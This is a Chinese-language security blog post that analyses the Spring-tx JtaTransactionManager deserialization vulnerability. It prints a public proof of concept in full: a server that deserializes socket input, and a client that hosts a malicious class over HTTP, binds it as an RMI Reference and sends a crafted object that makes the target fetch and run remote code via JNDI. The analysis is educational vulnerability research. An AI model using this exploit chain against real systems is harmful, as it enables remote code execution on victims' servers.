前言
Web后端开发的历史长河中,从JSP,Servlet到SSH(Hibernate,Spring,Struts2)再到SSM(Mybatis,Spring,SpringMVC)再到Springboot(免去配置的SSM一体化)最后到如今的SpringCloud分布式(多个Springboot组成的微服务),Spring一直占领着高地,这是因为后端开发者往往遵守着三层架构的开发准则(持久层,业务层,控制访问层),这三层需要一个中间件将其粘合在一起.
Spring在此过程中无论提供的IOC,AOP又或是单例模式等等无不体现着它对后端开发的贡献.这篇文章将要阐述Spring在其任职期间暴露的安全问题.
序列化与反序列化
既然是反序列化漏洞必然要提起的就是序列化与反序列化,如果还有读者对这个概念不清楚请参考上篇文章《前尘——与君再忆CC链》,在Java反序列化漏洞中,序列化和反序列化是理解这些漏洞的基本条件。
spring核心模块图
DAO即Data Access缩写,数据访问的意思,其实还有个Integration(集成)
Transactions:即事务对应的jar文件为spring-tx-xxx.jar,这也正是产生漏洞的Jar文件。在整个Spring核心模块中,它位于模块图的左上角,负责跟数据库交互的Dao层。而跟数据库交互的过程中必然会出现事务的问题,spring-tx-xxx.jar则负责对整个事务的处理。
RMI
RMI(即Remote Method Invoke 远程方法调用)。在Java中,只要一个类extends了java.rmi.Remote接口,即可成为存在于服务器端的远程对象,供客户端访问并提供一定的服务。JavaDoc描述:Remote 接口用于标识其方法可以从非本地虚拟机上调用的接口。任何远程对象都必须直接或间接实现此接口。只有在“远程接口”(扩展 java.rmi.Remote 的接口)中指定的这些方法才可远程使用。
我最开始用到rmi服务是在开发分布式的Java项目中,一个项目需要访问另一个项目的接口时就需要用到rmi,即远程调用。假设项目A调用项目B的某个接口,则项目B的这个接口执行相应的方法之后将执行的返回值传回项目A。但是最开始令我不解的是:项目A远程rmi项目B的接口,项目B的接口内容为弹出计算器,弹出计算器的操作应该是在项目B的电脑上运行,为什么项目A会被命令执行。后来才发现如果项目B的返回值如果是一个Reference对象,那么这个对象传回项目A时项目A将会执行Reference对象。
JNDI
JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
Maven导入
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>
利用代码分析
网上有一段公开利用Spring漏洞的源码,下载下来对其进行深入分析
下载地址:https://github.com/zerothoughts/spring-jndi
利用代码分为服务端和客户端,服务端用来模拟一个Web项目的接口,服务端发送恶意代码。
运行利用代码查看效果
服务端
开启了一个服务端
客户端
在 利用的恶意类中添加弹出计算器语句方便展示利用效果
运行效果展示
服务端弹出了计算器
分析服务端代码
import java.io.*;
import java.net.*;
import java.util.Scanner;
public class ExploitableServer {
public static void main(String[] args) {
Scanner input =new Scanner(System.in);
try {
System.out.println("请输入服务端监听端口:");
int serverPort = input.nextInt();
ServerSocket serverSocket = new ServerSocket(serverPort);
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
接受一个用户的输入端口,使用死循环建立一个监听Socket等待连接。当建立连接后,使用IO流将客户端发送的数据进行读取的同时调用其传输对象的readObject方法也就是反序列化方法。这就是服务端的全部内容,其实就是模拟了一个Web端的一个接口,只不过Web端的接口在被调用时自动进行了反序列化。
分析客户端代码
import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import java.util.Scanner;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
public class ExploitClient {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
try {
System.out.println("请输入服务端监听地址:");
String serverAddress=input.nextLine();
System.out.println("请输入服务端监听端口:");
int port = input.nextInt();
System.out.println("请输入存放恶意类的地址:");
String localAddress= input.next();
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
这是客户端也就是攻击端的主流程代码,逐行分析。使用Scanner类接收用户的输入,得到服务端的地址和监听端口。如果这里是Web项目的话应该是目标系统的接口。然后使用HTTPServer开启一个Web服务,开启的是80端口。然后将 “/“之后路径映射到一个类中进行处理。
将“/”之后的路径进行 截取和获取,然后在本地匹配相应的资源,将匹配到的资源又使用IO流的方式转换成byte数组的方式进行返回。其实这段代码的意思就是提供一个可以被远程下载的功能,类似于Python的SimpleHTTPServer函数。
回归主函数流程
注册一个RMI服务,将恶意类作为被请求的对象,创建一个reference对象,将恶意类封装为reference对象,至于为什么要封装为reference对象请查看上文中RMI的详细介绍。
此为要被传输的恶意对象,循环执行内容,作者自己添加了弹出计算器的操作,这个个人而定。org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
创建一个Spring中JtaTransactionManager对象,调用setter封装的setUserTransactionName函数对UserTransactionName属性进行赋值,上文封装的jndi地址就是值。
再次创建IO流,将封装好的恶意类的reference对象发送给服务端。
主流程分析总结
服务端其实只做了等待监听端口,等待数据到来然后对数据进行反序列化
客户端其实只做了创建spring类的漏洞类,然后使用漏洞类使用rmi调用自己创建的HTTP服务的类,这个类为要执行的代码并且封装为reference对象,造成了命令执行。
分析Spring源码寻找漏洞的关键产生点
readObject中this.initUserTransactionAndTransactionManager();
initUserTransactionAndTransactionManager中的this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
可以看到使用JNDITemplate的lookup方法对目标参数进行rmi的远程调用
从而触发JNDI的RCE导致Spring framework序列化的漏洞产生。
总结
spring的IOC和AOP对对象的控制可谓是得心应手,才能作为Web开发中三层架构中必不可缺少的一个框架。后文还会继续跟踪已经公开的反序列化链,
Java反序列化一直是一个 老生常谈的问题,理解这些原理性的知识可以更好的帮助我们找到执行链,你我终有一天也会发现理解事物的本质是如此重要。